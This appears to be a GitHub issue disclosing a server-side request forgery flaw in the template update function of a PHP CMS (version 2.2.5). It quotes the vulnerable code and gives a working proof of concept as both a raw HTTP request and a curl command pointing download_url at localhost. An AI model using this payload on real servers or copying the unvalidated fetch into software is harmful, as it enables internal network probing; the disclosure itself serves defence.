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[Vuln] SSRF vulnerability in update Function of TemplateController.php File when $action is start-download (2.2.5 version) #75

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zer0yu opened this issue May 23, 2022 · 0 comments

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@zer0yu
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zer0yu commented May 23, 2022

Server-side request forgery (also known as SSRF) is a web security vulnerability that allows an attacker to induce the server-side application to make requests to an unintended location.

Impact version: 2.2.5
Test with PHP 7.2

The vulnerable code is located in the update function of the app/admin/c/TemplateController.php file, which fails to validate the download_url parameter, causing a taint flow from the source $remote_url variable into the sink function fopen. This eventually leads to an SSRF vulnerability that can send a request to the URL specified by the download_url parameter.

function update(){
	$template = $this->frparam('template',1);
	if(strpos($template,'.')!==false){
		JsonReturn(array('code'=>1,'msg'=>JZLANG('参数存在安全隐患!')));
	}
    $this->template_name = $template;
	$dir = APP_PATH.'static';
	if($template){
		if($this->frparam('action',1)){
			$action = $this->frparam('action',1);
			// 自己获取这些信息
			$remote_url  = urldecode($this->frparam('download_url',1));
			$remote_url = strpos($remote_url,'?')!==false ? $remote_url.'&version='.$this->webconf['web_version'] : $remote_url.'?version='.$this->webconf['web_version'];
			$file_size   = $this->frparam('filesize',1);
			$tmp_path    = Cache_Path."/update_".$filepath.".zip";//临时下载文件路径
			switch ($action) {
			......
			    case 'start-download':
			        // 这里检测下 tmp_path 是否存在
			        try {
			            set_time_limit(0);
			            touch($tmp_path);
			            if ($fp = fopen($remote_url, "rb")) {
			                if (!$download_fp = fopen($tmp_path, "wb")) {
			                    exit;
			                }
			                while (!feof($fp)) {
			                    if (!file_exists($tmp_path)) {
			                        // 如果临时文件被删除就取消下载
			                        fclose($download_fp);
			                        exit;
			                    }
			                    fwrite($download_fp, fread($fp, 1024 * 8 ), 1024 * 8);
			                }
			                fclose($download_fp);
			                fclose($fp);
			            } else {
			                exit;
			            }
			        } catch (Exception $e) {
			            Storage::remove($tmp_path);
			            JsonReturn(['code'=>1,'msg'=>JZLANG('发生错误').':'.$e->getMessage()]);
			        }

			        JsonReturn(['code'=>0,'tmp_path'=>$tmp_path]);
			        break;

Because the download_url parameter is not restricted, it is also possible to use the server-side to send requests, such as probing intranet web services. The corresponding PoC is as follows:

POST /index.php/admins/Template/update.html HTTP/1.1
Host: 172.16.119.130
Content-Length: 73
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.84 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://172.16.119.130
Referer: http://172.16.119.130/index.php/admins/Plugins/index.html
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: think_var=zh-cn; PHPSESSID=lkbci4j8clqc6de6rhpn9fdk31
Connection: close

action=start-download&template=cms&download_url=http://localhost/startpoc

You can also use the following curl command to verify the vulnerability

curl -i -s -k -X $'POST' \
    -H $'Host: 172.16.119.130' -H $'Content-Type: application/x-www-form-urlencoded; charset=UTF-8' -H $'Connection: close' -H $'Content-Length: 73' \
    -b $'think_var=zh-cn; PHPSESSID=g3e5nupqb19trokgr9msul8d9l' \
    --data-binary $'action=start-download&template=cms&download_url=http://localhost/startpoc' \
    $'http://172.16.119.130/index.php/admins/Template/update.html'

We can then see the corresponding request in the apache server logs, which proves that the SSRF vulnerability can be triggered

image

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